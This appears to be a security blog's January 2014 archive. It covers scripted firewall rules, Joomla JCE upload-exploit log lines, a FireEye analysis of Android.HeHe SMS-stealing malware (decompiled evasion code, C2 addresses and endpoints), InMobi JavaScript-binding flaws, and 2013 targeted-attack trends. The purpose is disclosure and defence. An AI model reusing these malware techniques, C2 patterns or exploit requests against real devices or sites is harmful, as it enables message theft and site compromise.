Monthly Archives: January 2014

Episode #174: Lightning Lockdown

Hal firewalls fast

Recently a client needed me to quickly set up an IP Tables firewall on a production server that was effectively open on the Internet. I knew very little about the machine, and we couldn't afford to break any of the production traffic to and from the box.

It occurred to me that a decent first approximation would be to simply look at the network services currently in use, and create a firewall based on that. The resulting policy would probably be a bit more loose than it needed to or should be, but it would be infinitely better than no firewall at all!

I went with lsof, because I found the output easier to parse than netstat:

# lsof -i -nlP | awk '{print $1, $8, $9}' | sort -u
COMMAND NODE NAME
httpd TCP *:80
named TCP 127.0.0.1:53
named TCP 127.0.0.1:953
named TCP [::1]:953
named TCP 150.123.32.3:53
named UDP 127.0.0.1:53
named UDP 150.123.32.3:53
ntpd UDP [::1]:123
ntpd UDP *:123
ntpd UDP 127.0.0.1:123
ntpd UDP 150.123.32.3:123
ntpd UDP [fe80::baac:6fff:fe8e:a0f1]:123
ntpd UDP [fe80::baac:6fff:fe8e:a0f2]:123
portreser UDP *:783
sendmail TCP 150.123.32.3:25
sendmail TCP 150.123.32.3:25->58.50.15.213:1526
sendmail TCP *:587
sshd TCP *:22
sshd TCP 150.123.32.3:22->121.28.56.2:39054

I could have left off the process name, but it helped me decide which ports were important to include in the new firewall rules. Honestly, the output above was good enough for me to quickly throw together some workable IP Tables rules. I simply saved the output to a text file and hacked things together with a text editor.

But maybe you only care about the port information:

# lsof -i -nlP | awk '{print $9, $8, $1}' | sed 's/.*://' | sort -u
123 UDP ntpd
1526 TCP sendmail
22 TCP sshd
25 TCP sendmail
39054 TCP sshd
53 TCP named
53 UDP named
587 TCP sendmail
783 UDP portreser
80 TCP httpd
953 TCP named
NAME NODE COMMAND

Note that I inverted the field output order, just to make my sed a little easier to write

If you wanted to go really crazy, you could even create and load the actual rules on the fly. I don't recommend this at all, but it will make Tim's life harder in the next section, so here goes:

lsof -i -nlP | tail -n +2 | awk '{print $9, $8}' | 
sed 's/.*://' | sort -u | tr A-Z a-z |
while read port proto; do ufw allow $port/$proto; done

I added a "tail -n +2" to get rid of the header line. I also dropped the command name from my awk output. There's a new "tr A-Z a-z" in there to lower-case the protocol name. Finally we end with a loop that takes the port and protocol and uses the ufw command line interface to add the rules. You could do the same with the iptables command and its nasty syntax, but if you're on a Linux distro with UFW, I strongly urge you to use it!

So, Tim, I figure you can parse netstat output pretty easily. How about the command-line interface to the Windows firewall? Remember, adversity builds character...

Tim builds character

When I first saw this I thought, "Man, this is going to be easy with the new cmdlets in PowerShell v4!" There are a lot of new cmdlets available in PowerShell version 4, and both Windows 8.1 and Server 2012R2 ship with PowerShell version 4. In addition, PowerShell version 4 is available for Windows 7 SP1 (and later) and Windows Server 2008 R2 SP1 (and later).

The first cmdlet that will help us out here is Get-NetTCPConnection. According to the help page this cmdlet "gets current TCP connections. Use this cmdlet to view TCP connection properties such as local or remote IP address, local or remote port, and connection state." This is going to be great! But...

It doesn't mention the process ID or process name. Nooooo! This can't be. Let's look at all the properties of the output objects.

PS C:\> Get-NetTCPConnection | Format-List *

State : Established
AppliedSetting : Internet
Caption :
Description :
ElementName :
InstanceID : 192.168.1.167++445++10.11.22.33++49278
CommunicationStatus :
DetailedStatus :
HealthState :
InstallDate :
Name :
OperatingStatus :
OperationalStatus :
PrimaryStatus :
Status :
StatusDescriptions :
AvailableRequestedStates :
EnabledDefault : 2
EnabledState :
OtherEnabledState :
RequestedState : 5
TimeOfLastStateChange :
TransitioningToState : 12
AggregationBehavior :
Directionality :
LocalAddress : 192.168.1.167
LocalPort : 445
RemoteAddress : 10.11.22.33
RemotePort : 49278
PSComputerName :
CimClass : ROOT/StandardCimv2:MSFT_NetTCPConnection
CimInstanceProperties : {Caption, Description, ElementName, InstanceID...}
CimSystemProperties : Microsoft.Management.Infrastructure.CimSystemProperties

Dang! This will get most of what we want (where "want" was defined by that Hal guy), but it won't get the process ID or the process name. So much for rubbing the new cmdlets in his face.

Let's forget about Hal for a second and get what we can with this cmdlet.

PS C:\> Get-NetTCPConnection | Select-Object LocalPort | Sort-Object -Unique LocalPort
LocalPort
---------
135
139
445
3587
5357
49152
49153
49154
49155
49156
49157
49164

This is helpful for getting a list of ports, but not useful for making decisions about what should be allowed. Also, we would need to run Get-NetUDPEndpoint to get the UDP connections. This is so close, yet so bloody far. We have to resort to the old school netstat command and the -b option to get the executable name. In episode 123 we needed parsed netstat output. I recommended the Get-Netstat script available at poshcode.org. Sadly, we are going to have to resort to that again. With this script we can quickly get the port, protocol, and process name.

PS C:\> .\get-netstat.ps1 | Select-Object ProcessName, Protocol, LocalPort | 
Sort-Object -Unique LocalPort, Protocol, ProcessName


ProcessName Protocol Localport
----------- -------- ---------
svchost TCP 135
System UDP 137
System UDP 138
System TCP 139
svchost UDP 1900
svchost UDP 3540
svchost UDP 3544
svchost TCP 3587
dasHost UDP 3702
svchost UDP 3702
System TCP 445
svchost UDP 4500
...

It should be pretty obvious that the port 137-149 and 445 should not be accessible from the internet. We can filter these ports out so that we don't allow these ports through the firewall.

PS C:\> ... | Where-Object { (135..139 + 445) -NotContains $_.LocalPort }
ProcessName Protocol Localport
----------- -------- ---------
svchost UDP 1900
svchost UDP 3540
svchost UDP 3544
svchost TCP 3587
dasHost UDP 3702
svchost UDP 3702
svchost UDP 4500
...

Now that we have the ports and protocols we can create new firewall rules using the new New-NetFirewallRule cmdlet. Yeah!

PS C:\> .\get-netstat.ps1 | Select-Object Protocol, LocalPort | Sort-Object -Unique * | 
Where-Object { (135..139 + 445) -NotContains $_.LocalPort } |
ForEach-Object { New-NetFirewallRule -DisplayName AllowedByScript -Direction Outbound
-Action Allow -LocalPort $_.LocalPort -Protocol $_.Protocol }

Name : {d15ca484-5d16-413f-8460-a29204ff06ed}
DisplayName : AllowedByScript
Description :
DisplayGroup :
Group :
Enabled : True
Profile : Any
Platform : {}
Direction : Outbound
Action : Allow
EdgeTraversalPolicy : Block
LooseSourceMapping : False
LocalOnlyMapping : False
Owner :
PrimaryStatus : OK
Status : The rule was parsed successfully from the store. (65536)
EnforcementStatus : NotApplicable
PolicyStoreSource : PersistentStore
PolicyStoreSourceType : Local
...

These new firewall cmdlets really make things easier, but if you don't have PowerShellv4 you can still use the old netsh command to add the firewall rules. Also, the Get-Netstat will support older version of PowerShell as well, so this is nicely backwards compatible. All we need to do is replace the command inside the ForEach-Object cmdlet's script block.

PS C:\> ... | ForEach-Object { netsh advfirewall firewall add rule 
name="AllowedByScript" dir=in action=allow protocol=$_.Protocol
localport=$_.LocalPort }

Invasion of JCE Bots

Joomla has been one of the most popular CMS for a long time.  It powers a huge number of sites.  That’s great! The flip side of this fact is Joomla has been very popular for a long time and there are still very many sites that use older versions of Joomla as well as older version of Joomla components. For example, the 1.5.x branch of Joomla (2008-2010) still has a noticeable share in live Joomla sites.

Old versions may work well for your site but they have multiple well known security holes, so they are the low hanging fruit for hackers. Let me show this using a real world example.

JCE attack

There is a JCE component — a fancy content editor that can be found almost on every Joomla site. It has a well known security hole that allows anyone to upload arbitrary files to a server.

You can easily find a working exploit code for this vulnerability.  What it does is:

  1. Checks whether a vulnerable version of JCE is installed (2.0.11, 2.0.12, 2.0.13, 2.0.14, 2.0.15, 1.5.7.10, 1.5.7.11, 1.5.7.12, 1.5.7.13, 1.5.7.14)
  2. Exploits the bug in the JCE image manager to upload a PHP file with a .gif extenstion to the images/stories directory
  3. Then uses a JSON command to rename the .gif file to *.php.

Now you have a backdoor on a server and can do whatever you want with the site.

This is how this attack looks in logs (real example):

197.205.70.37 - - [23/Jan/2014:16:46:54 -0500] "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.0" 200 302 "-" "BOT/0.1 (BOT for JCE)"
197.205.70.37 - - [23/Jan/2014:16:46:55 -0500] "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20 HTTP/1.0" 200 329 "-" "BOT/0.1 (BOT for JCE)"
197.205.70.37 - - [23/Jan/2014:16:46:55 -0500] "GET /images/stories/3xp.php HTTP/1.0" 200 465 "-" "BOT/0.1 (BOT for JCE)"

As I mentioned, JCE is a very popular component and there are still many sites that use old versions of this component. No wonder, hackers are scanning the Internet for such vulnerable sites.  They reworked the exploit code for use in their automated tools that relentlessly test millions of sites, one by another.  These days, I can find multiple requests with the “BOT/0.1 (BOT for JCE)” User-Agent string in logs of almost every site that I check, even in logs of sites that have never had Joomla installed.

I’d like to share some interesting statistics of a real site that had been hacked using this JCE hole and then was being routinely reinfected every day.

  • 7,409 requests with the User-Agent “BOT/0.1 (BOT for JCE)” that came from 785 different IPs during the period of Dec 24th – Jan 24th (one month)
  • 239 requests from 51 unique IP addresses during the last 24 hours
  • 4 independent (uploaded different types of backdoors) successful infections during one day.
  • plus, multiple tests for other vulnerabilities.

To webmasters

As you can see,  this is something that you can’t neglect or consider an insignificant threat.  It’s silly to hope that hackers won’t find your site. Today hackers have resources to spider the Internet almost as efficiently as Google just about 10 years ago, so there is almost no chance your site will stay unnoticed. The only way to prevent the hacks is to be proactive:  keep all software up-to-date and harden your sites.

In case of this particular JCE attack:

  1. Make sure to upgrade your Joomla site to the most current version.
  2. Upgrade JCE to the latest version. You can find download packages for all the three branches of Joomla here.
  3. Protect all file upload directories and all directories that shouldn’t contain .php files. For example, place the following .htaccess file there to prevent execution of PHP files:
    <Files *.php>
    deny from all
    </Files>
  4. Try blocking requests with the “BOT/0.1 (BOT for JCE)” User-Agent string.  Of course, this shouldn’t be considered as a real protection. Hackers can change the User-Agent string to whatever they want. But it can help keep some dumb annoying bots away from your site.
  5. If, for some reason, you can’t upgrade your site at this moment, consider placing it behind a website firewall that will block any malicious traffic before it reaches your server.  This is something that we call virtual patching in Sucuri CloudProxy.

Android.HeHe: Malware Now Disconnects Phone Calls

FireEye Labs has recently discovered six variants of a new Android threat that steals text messages and intercepts phone calls. We named this sample set “Android.HeHe” after the name of the activity that is used consistently across all samples.

Here is a list of known bot variants:

MD5 VirusTotal Detection Ratio
1caa31272daabb43180e079bca5e23c1 1caa31272daabb43180e079bca5e23c1 2/48 2/48
8265041aca378d37006799975fa471d9 8265041aca378d37006799975fa471d9 1/47 1/47
2af4de1df7587fa0035dcefededaedae 2af4de1df7587fa0035dcefededaedae 2/45 2/45
2b41fbfb5087f521be193d8c1f5efb4c 2b41fbfb5087f521be193d8c1f5efb4c 2/46 2/46
aa0ed04426562df25916ff70258daf6c aa0ed04426562df25916ff70258daf6c 1/46 1/46
9507f93d9a64d718682c0871bf354e6f 9507f93d9a64d718682c0871bf354e6f 1/47 1/47

Summary

The app disguises itself as “android security” (Figure 1), attempting to provide the users what is advertised as an OS Update. It contacts the command-and-control (CnC) server to register itself then goes on to monitor incoming SMS messages. The CnC is expected to respond with a list of phone numbers that are of interest to the malware author. If one of these numbers sends an SMS or makes a call to an infected device, the malware intercepts the message or call, suppresses device notifications from the device, and removes any trace of the message or call from device logs. Any SMS messages from one of these numbers are logged into an internal database and sent to the CnC server. Any phone calls from these numbers are silenced and rejected.

[caption id="attachment_4369" align="aligncenter" width="302"]App installs itself Figure 1[/caption]

Analysis

This app starts the main HeHe activity at startup. The constructor of the HeHeActivity registers a handler using the android.os.Handle, which acts as a thread waiting for an object of type android.os.Message to perform different actions, which are outlined below.

Because the HeHeActivity implements the standard DailogInterfaceOnClickListener, the start of the app causes the showAlterDailog message to be displayed (Figure 2).

[caption id="attachment_4373" align="aligncenter" width="404"]Fake OS Update in progress Figure 2: The above messages make the user believe that an OS update check is under progress[/caption]

The app then sends an intent to start three services in the background. These services are explained below.

Sandbox-evasion tactic

This app checks for the presence of an emulator by calling the isEmulator function, which does the following:

  1. It checks the value of the MODEL of the device (emulators with the Google ADT bundle have the string “sdk” as a part of the MODEL variable).
  2. It also checks to see if the IMSI code is “null” — emulators do not have an IMSI code associated with them.

Here is the isEmulator code:

String v0 = TelephonyUtils.getImsi(((Context)this));
if(v0 == null) {
return;
}
public static boolean isEmulator() {
boolean v0;
if((Build.MODEL.equalsIgnoreCase("sdk")) || (Build.MODEL.equalsIgnoreCase("google_sdk"))) {
v0 = true;
}
else {
v0 = false;
}
return v0;
}

The code checks whether the the app is being run in the Android QEMU emulator. It also checks whether the value of IMSI is equal to null

RegisterService

This service runs in the background. Once started the app calls the setComponentEnabledSetting method as follows:

this.getPackageManager().setComponentEnabledSetting(new ComponentName(((Context)this), HeheActivity.class), 2, 1);

This removes the app from the main menu of the phone leading the user to believe that the app is no longer installed on the phone. It then goes on to check the network status of the phone as shown below

public void checkNetwork() { 
if(!this.isNetworkAvailable()) {
this.setMobileDataEnabled();
}
}

After the service has been created. The onStart method is called, which checks the message provided as a part of the intent. The message types are START and LOGIN

START

If the message in the intent is START, The app calls the sendReigsterRequest() function. The sendRegisterRequest function first checks for the presence of an emulator as explained in the "Sandbox-evasion tactic" section

It then collects the IMSI IMEI, phone number, SMS address and channel ID. It packs all this information into a JSON object. Once the JSON object is created. It is converted to a string, which is sent to the CnC server. The CnC communication is explained below.

LOGIN

If the message in the intent is LOGIN, the app calls the sendLoginRequest method, which in turn collects the following:

  • Version number of the app (hard-coded as "1.0.0")
  • The model of the phone
  • The version of the operating system
  • The type of network associated with the device (GSM/CDMA)

This information is also packed into a JSON object, converted into a string, and sent to the CnC server.

RegisterBroadcastReceiver service

This service is invoked at the start of the app as the RegisterService. It in turn registers the IncomeCallAndSmsReceiver(), which is set to respond to these three intents:

  • android.provider.Telephony.SMS_RECEIVED, which notifies once a SMS has been received on the device
  • android.intent.action.PHONE_STATE, which notifies once the cellular state of the device has changed. Examples include RINGING and OFF_HOOK.
  • android.intent.action.SCREEN_ON, which notifies once the screen has been turned on or turned off.

Additionally, it also sets observers over Android content URIs as follows:

  • The SmsObserver is set to observe the content://sms, which enables it to access all SMS messages that are present on the device.
  • The CallObserver is set to observe the content://call_log/calls, which allows it to access the call log of all incoming, outgoing and missed calls on the device.

 ConnectionService

The main HeHe activity mentioned at the start issues the ACTION_START intent to the ConnectionService class as follows:

Intent v2 = new Intent(((Context)this), ConnectionService.class);

v2.setAction(ConnectionService.ACTION_START);

v2.setFlags(268435456); this.startService(v2); LogUtils.debug("heheActivity", "start connectionService service"); The app then starts a timer task that is scheduled to be invoked every 5000 seconds. This timed task does the following:
  • Creates an object instance of the android.os.Message class
  • Sets the value of "what" in the Message object to 1
  • The handler of this message that was initiated in the constructor then gets called which, in turn calls the showFinishBar function that displays the message “현재 OS에서 최신 소프트웨어버전을 사용하고있습니다,” which translates to “The current OS you are using the latest version of the software.”

Receivers

IncomeCallAndSmsReceiver

The RegisterBroadcastReceiver registers this receiver once the app gets started. When an SMS is received on the device. The IncomeCallAndSmsReceiver gets the intent. Because this receiver listens for one of three intents, any intents received by this receiver are checked for their type.

If the received intent is of type android.provider.telephony.SMS_RECEIVED, the app extracts the contents of the SMS and the phone number of the sender. If the first three characters of the phone number matches the first three characters from phone numbers in a table named tbl_intercept_info, then the SMS intent is aborted and the SMS is deleted from the devices SMS inbox so that the user never sees it. After the SMS notification is suppressed, the app bundles the SMS as follows:

{
"content":"TESTING", 
"createTime":"2014-01-10 16:21:36",
"id":null,"messageFrom":"1234567890",
"token":null
}

From there, it sends the to the CnC server (http://108.62.240.69:9008/reportMessage)

It also records the SMS in the tbl_message_info table in its internal database.

If the received intent is of type android.intent.action.PHONE_STATE, the app checks the tbl_intercept_info table in the local database. If the number of the caller appears in this table, then the ringer mode of the phone is set to silent to suppress the notification of the incoming call and the phone call is disconnected. Its corresponding entry from the call logs is also removed, removing all traces of the phone call from the device.

No actions have been defined for the android.app.action.SCREEN_ON intent, even though the IncomeCallAndSmsReceiver receiver is the recipient.

CnC

This app uses two hard-coded IP address to locate its CnC servers: 122.10.92.117 and 58.64.183.12. The app performs all communications through HTTP POST requests. The contents of the HTTP POST are encrypted using AES with a 128-bit key that is hardcoded into the app. The app sends its lastVersion value —to 122.10.92.117, to address is where is used to check for , in which the app sends its version of the app. The address 58.64.183.12 is used to report incoming SMS messages

Because the IP address is no longer reachable, responses from the server could not be analyzed. What is clear is that the server sends a JSON object in response, which contains a "token" field.

Although the CnC server is currently unavailable, we can infer how the app works by examining the how it processes the received responses.

The app consists of different data structures that are converted into their equivalent JSON representations when they are sent to the CnC. Also, All JSON object responses are converted into their equivalent internal data structures. We have also observed the mechanism used to populate the internal database which includes tables (tbl_intercept_info) which contain the phone numbers to be blocked.

The app uses hxxp://122.10.92.117:9008 and hxxp://58.64.183.12:9008 to send information to the CnC server.

The mapping of URLs to their internal class data structures is as follows:

GetLastVersionRequest /getLastVersion
RegisterRequest /register
LoginRequest /login
ReportRequest /report
GetTaskRequest /getTask
ReportMessage Request /reportMessage

The meaning and structures of these are explained in the following sections.

GetLastVersionRequest

This request is sent when the app is first installed on the device. The bot sends the version code of the device (currently set to 1.0.0) to the CnC. The CnC response shall contain the URL to an update if available. The availability of an update is signified through an ‘update’ field in the response

[caption id="attachment_4377" align="alignnone" width="816"]Request to CnC to check for version Request to CnC to check for version[/caption]

RegisterRequest

This request is sent when the app sends an intent with a “LOGIN” option to the RegisterService as explained  above. The request contains the IMSI, IMEI, Phone number, SMS address (Phone number), Channel ID, a token and the IP address being used by the app as its CnC. This causes the infected device to be registered with the CnC.

LoginRequest

This request is sent to further authenticate the device to the CnC, It contains the token previously received, the version of the Bot, the model of the phone, the version of the OS, the type of network and the other active network parameters such as signal strength. In response, It only gets a result value.

ReportRequest

The report request sends the information present in tbl_report_info to the CnC. This table contains information about other requests that were sent but failed.

GetTaskRequest

This requests asks for tasks from the CnC server. The response contains a retry interval and a sendSmsActionNotify value. It is sent when the response to the LoginRequest is 401 instead of 200.

ReportMessageRequest

This request to the CnC sends the contents of the SMS messages that are received on the device. It consists of the contents of the SMS message, the time of the message and the sender of the SMS. This has been observed in the logcat output as follows:

logging-mini

Conclusion

Android malware variants are mushrooming. Threats such as Android.HeHe and Android.MisoSMS reveal attackers' growing interest in monitoring SMS messages and phone call logs. They also serve as a stark reminder of just how dangerous apps from non-trusted marketplaces can be.

JS-Binding-Over-HTTP Vulnerability and JavaScript Sidedoor: Security Risks Affecting Billions of Android App Downloads

Third-party libraries, especially ad libraries, are widely used in Android apps. Unfortunately, many of them have security and privacy issues. In this blog, we summarize our findings related to the insecure usage of JavaScript binding in ad libraries.

First, we describe a widespread security issue with using JavaScript binding (addJavascriptInterface) and loading WebView content over HTTP, which allows a network attacker to take control of the application by hijacking the HTTP traffic. We call this the JavaScript-Binding-Over-HTTP (JS-Binding-Over-HTTP) vulnerability. Our analysis shows that, currently, at least 47 percent of the top 40 ad libraries have this vulnerability in at least one of their versions that are in active use by popular apps on Google Play.

Second, we describe a new security issue with the JavaScript binding annotation, which we call JavaScript Sidedoor. Starting with Android 4.2, Google introduced the @JavascriptInterface annotation to explicitly designate and limit which public methods in Java objects are accessible from JavaScript. If an ad library uses @JavascriptInterface annotation to expose security-sensitive interfaces, and uses HTTP to load content in the WebView, then an attacker over the network could inject malicious content into the WebView to misuse the exposed interfaces through the JS binding annotation. We call these exposed JS binding annotation interfaces JS sidedoors.

Our analysis shows that these security issues are widespread, have affected popular apps on Google Play accounting for literally billions of app downloads. The parties we notified about these issues have been actively addressing them.

Security Issues with JavaScript Binding over HTTP

Android uses the JavaScript binding method addJavascriptInterface to enable JavaScript code running inside a WebView to access the app’s Java methods. However, it is widely known that this feature, if not used carefully, presents a potential security risk when running on Android 4.1 or below. As noted by Google: “Use of this method in a WebView containing untrusted content could allow an attacker to manipulate the host application in unintended ways, executing Java code with the permissions of the host application.” [1]

In particular, if an app running on Android 4.1 or below uses the JavaScript binding method addJavascriptInterface and loads the content in the WebView over HTTP, then an attacker over the network could hijack the HTTP traffic, e.g., through WiFi or DNS hijacking, to inject malicious content into the WebView – and thus take control over the host application. We call this the JavaScript-Binding-Over-HTTP (JS-Binding-Over-HTTP) vulnerability. If an app containing such vulnerability has sensitive Android permissions such as access to the camera, then a remote attacker could exploit this vulnerability to perform sensitive tasks such as taking photos or record video in this case, over the Internet, without a user’s consent.

We have analyzed the top 40 third-party ad libraries (not including Google Ads) used by Android apps. Among the apps with over 100,000 downloads each on Google Play, over 42 percent of the free apps currently contain at least one of these top ad libraries. The total download count of such apps now exceeds 12.4 billion. From our analysis, at least 47 percent of these top 40 ad libraries have at least one version of their code in active use by popular apps on Google Play, and contain the JS-Binding-Over-HTTP vulnerability. As an example, InMobi versions 2.5.0 and above use the JavaScript binding method addJavascriptInterface and load content in the WebView using HTTP.

Security Issues with JavaScript Binding Annotation

Starting with Android 4.2, Google introduced the @JavascriptInterface annotation to explicitly designate and limit which public Java methods in the app are accessible from JavaScript running inside a WebView. However, note that the @JavascriptInterface annotation does not provide any protection for devices using Android 4.1 or below, which is still running on more than 80 percent of Android devices worldwide.

We discovered a new class of security issues, which we call JavaScript Sidedoor (JS sidedoor), in ad libraries. If an ad library uses the @JavascriptInterface annotation to expose security-sensitive interfaces, and uses HTTP to load content in the WebView, then it is vulnerable to attacks where an attacker over the network (e.g., via WIFI or DNS hijacking) could inject malicious content into the WebView to misuse the interfaces exposed through the JS binding annotation. We call these exposed JS binding annotation interfaces JS sidedoors.

For example, starting with version 3.6.2, InMobi added the @JavascriptInterface JS binding annotation. The list of exposed methods through the JS binding annotation in InMobi includes:

  • createCalendarEvent (version 3.7.0 and above)
  • makeCall (version 3.6.2 and above)
  • postToSocial (version 3.7.0 and above)
  • sendMail (version 3.6.2 and above)
  • sendSMS (version 3.6.2 and above)
  • takeCameraPicture (version 3.7.0 and above)
  • getGalleryImage (version 3.7.0 and above)
  • registerMicListener (version 3.7.0 and above)

InMobi also provides JavaScript wrappers to these methods in the JavaScript code served from their ad servers, as shown in Appendix A.

InMobi also loads content in the WebView using HTTP. If an app has the Android permission CALL_PHONE, and is using InMobi versions 3.6.2 to 4.0.2, an attacker over the network (for example, using Wi-Fi or DNS hijacking) could abuse the makeCall annotation in the app to make phone calls on the device without a user’s consent – including to premium numbers.

In addition, without requiring special Android permissions in the host app, attackers over the network, via HTTP or DNS hijacking, could also misuse the aforementioned exposed methods to misguide the user to post to the user’s social network from the device (postToSocial in version 3.7.0 and above), send email to any designated recipient with a pre-crafted title and email body (sendMail in version 3.6.2 and above), send SMS to premium numbers (sendSMS in version 3.6.2 and above), create calendar events on the device (createCalendarEvent in version 3.7.0 and above), and to take pictures and access the photo gallery on the device (takeCameraPicture and getGalleryImage in version 3.7.0 and above). To complete these actions, the user would need to click on certain consent buttons. However, as generally known, users are quite vulnerable to social engineering attacks through which attackers could trick users to give consent.

We have identified more than 3,000 apps on Google Play that contain versions 2.5.0 to 4.0.2 of InMobi – and which have over 100,000 downloads each as of December, 2013. Currently, the total download count for these affected apps is greater than 3.7 billion.

We have informed both Google and InMobi of our findings, and they have been actively working to address them.

New InMobi Update after FireEye Notification

After we notified the InMobi vendor about these security issues, they promptly released new SDK versions 4.0.3 and 4.0.4. The 4.0.3 SDK, marked as “Internal release”, was superseded by 4.0.4 after one day. The 4.0.4 SDK made the following changes:

  1. Changed its method exposed through annotation for making phone calls (makeCall) to require user’s consent.
  2. Added a new storePicture interface to download and save specified files from the Internet to the user’s Downloads folder. Despite the name, it can be used for any file, not just images.
  3. Compared with InMobi’s earlier versions, we consider change No. 1 as an improvement that addresses the aforementioned issue of an attacker making phone calls without a user’s consent. We are glad to see that InMobi made this change after our notification.

    InMobi recently released a new SDK version 4.1.0. Compared with SDK version 4.0.4, we haven't seen any changes to JS Binding usage from a security perspective in this new SDK version 4.1.0.

    Moving Forward: Improving Security for JS Binding in Third-party Libraries

    In summary, the insecure usage of JS Binding and JS Binding annotations in third-party libraries exposes many apps that contain these libraries to security risks.

    App developers and third-party library vendors often focus on new features and rich functionalities. However, this needs to be balanced with a consideration for security and privacy risks. We propose the following to the mobile application development and library vendor community:

    1. Third-party library vendors need to explicitly disclose security-sensitive features in their privacy policies and/or their app developer SDK guides.
    2. Third-party library vendors need to educate the app developers with information, knowledge, and best practices regarding security and privacy when leveraging their SDK.
    3. App developers need to use caution when leveraging third-party libraries, apply best practices on security and privacy, and in particular, avoid misusing vulnerable APIs or packages.
    4. When third-party libraries use JS Binding, we recommend using HTTPS for loading content.
    5. Since customers may have different requirements regarding security and privacy, apps with JS-Binding-Over-HTTP vulnerabilities and JS sidedoors can introduce risks to security-sensitive environments such as enterprise networks. FireEye Mobile Threat Prevention provides protection to our customers from these kinds of security threats.

      Acknowledgement

      We thank our team members Adrian Mettler and Zheng Bu for their help in writing this blog.

      Appendix A: JavaScript Code Snippets Served from InMobi Ad Servers

      a.takeCameraPicture = function () {

      utilityController.takeCameraPicture()

      };

      a.getGalleryImage = function () {

      utilityController.getGalleryImage()

      };

      a.makeCall = function (f) {

      try {

      utilityController.makeCall(f)

      } catch (d) {

      a.showAlert("makeCall: " + d)

      }

      };

      a.sendMail = function (f, d, b) {

      try {

      utilityController.sendMail(f, d, b)

      } catch (c) {

      a.showAlert("sendMail: " + c)

      }

      };

      a.sendSMS = function (f, d) {

      try {

      utilityController.sendSMS(f, d)

      } catch (b) {

      a.showAlert("sendSMS: " + b)

      }

      };

      a.postToSocial = function (a, c, b, e) {

      a = parseInt(a);

      isNaN(a) && window.mraid.broadcastEvent("error", "socialType must be an integer", "postToSocial");

      "string" != typeof c && (c = "");

      "string" != typeof b && (b = "");

      "string" != typeof e && (e = "");

      utilityController.postToSocial(a, c, b, e)

      };

      a.createCalendarEvent = function (a) {

      "object" != typeof a && window.mraid.broadcastEvent("error",

      "createCalendarEvent method expects parameter", "createCalendarEvent");

      "string" != typeof a.start || "string" != typeof a.end ?

      window.mraid.broadcastEvent("error",

      "createCalendarEvent method expects string parameters for start and end dates",

      "createCalendarEvent") :

      ("string" != typeof a.location && (a.location = ""),

      "string" != typeof a.description && (a.description = ""),

      utilityController.createCalendarEvent(a.start, a.end, a.location, a.description))

      };

      a.registerMicListener=function() {

      utilityController.registerMicListener()

      };

      Trends in Targeted Attacks: 2013

      FireEye has been busy over the last year. We have tracked malware-based espionage campaigns and published research papers on numerous advanced threat actors. We chopped through Poison Ivy, documented a cyber arms dealer, and revealed that Operation Ke3chang had targeted Ministries of Foreign Affairs in Europe.

      Worldwide, security experts made many breakthroughs in cyber defense research in 2013. I believe the two biggest stories were Mandiant’s APT1 report and the ongoing Edward Snowden revelations, including the revelation that the U.S. National Security Agency (NSA) compromised 50,000 computers around the world as part of a global espionage campaign.

      In this post, I would like to highlight some of the outstanding research from 2013.

      Trends in Targeting

      Targeted malware attack reports tend to focus on intellectual property theft within specific industry verticals. But this year, there were many attacks that appeared to be related to nation-state disputes, including diplomatic espionage and military conflicts.

      Conflict

      Where kinetic conflict and nation-state disputes arise, malware is sure to be found. Here are some of the more interesting cases documented this year:

      • Middle East: continued attacks targeting the Syrian opposition; further activity by Operation Molerats related to Israel and Palestinian territories.
      • India and Pakistan: tenuous relations in physical world equate to tenuous relations in cyberspace. Exemplifying this trend was the Indian malware group Hangover, the ByeBye attacks against Pakistan, and Pakistan-based attacks against India.
      • Korean peninsula: perhaps foreshadowing future conflict, North Korea was likely behind the Operation Troy (also known as DarkSeoul) attacks on South Korea that included defacements, distributed denial-of-service (DDoS) attacks, and malware that wiped hard disks. Another campaign, Kimsuky, may also have a North Korean connection.
      • China: this was the source of numerous attacks, including the ongoing Surtr campaign, against the Tibetan and Uygur communities, which targeted MacOS and Android.

      Diplomacy

      Malware continues to play a key role in espionage in the Internet era. Here are some examples that stood out this year:

      • The Snowden documents revealed that NSA and GCHQ deployed key logging malware during the G20 meeting in 2009.
      • In fact, G20 meetings have long been targets for foreign intelligence services, including this year’s G20 meeting in Russia.
      • The Asia-Pacific Economic Cooperation (APEC) and The Association of Southeast Asian Nations (ASEAN) are also frequent targets.
      • FireEye announced that Operation Ke3chang compromised at least five Ministries of Foreign Affairs in Europe.
      • Red October, EvilGrab, and Nettraveler (aka RedStar) targeted both diplomatic missions and commercial industries.

      Technical Trends

      Estimations of “sophistication” often dominate the coverage of targeted malware attacks. But what I find interesting is that simple changes made to existing malware are often more than enough to evade detection. Even more surprising is that technically “unsophisticated” malware is often found in the payload of “sophisticated” zero-day exploits. And this year quite a number of zero-days were used in targeted attacks.

      Exploits

      Quite a few zero-day exploits appeared in the wild this year, including eleven discovered by FireEye. These exploits included techniques to bypass ASLR and application sandboxes. The exploits that I consider the most significant are the following:

      Evasion

      The malware samples used by several advanced persistent threat (APT) actors were slightly modified this year, possibly as an evasive response to increased scrutiny, in order to avoid detection. For example, there were changes to Aumlib and Ixeshe, which are malware families associated with APT12, the group behind attacks on the New York Times. When APT1 (aka Comment Crew) returned after their activities were exposed, they also used modified malware. In addition, Terminator (aka FakeM), and Sykipot were modified.

      Threat Actors

      Attribution is a tough problem, and the term itself has multiple meanings. Some use it to refer to an ultimate benefactor, such as a nation-state. Others use the term to refer to malware authors, or command-and-control (CnC) operators. This year, I was fascinated by published research about exploit and malware dealers and targeted attack contractors (also known as cyber “hitmen”), because it further complicates the traditional “state-sponsored” analysis that we’ve become accustomed to.

      • Dealers — The malware and exploits used in targeted attacks are not always exclusively available to one threat actor. Some are supplied by commercial entities such as FinFisher, which has been reportedly used against activists around the world, and HackingTeam, which sells spyware to governments and law enforcement agencies. FireEye discovered a likely cyber arms dealer that is connected to no fewer than 11 APT campaigns – however, the relationship between the supplier and those who use the malware remains unclear. Another similar cluster, known as the Maudi Operation, was also documented this year.
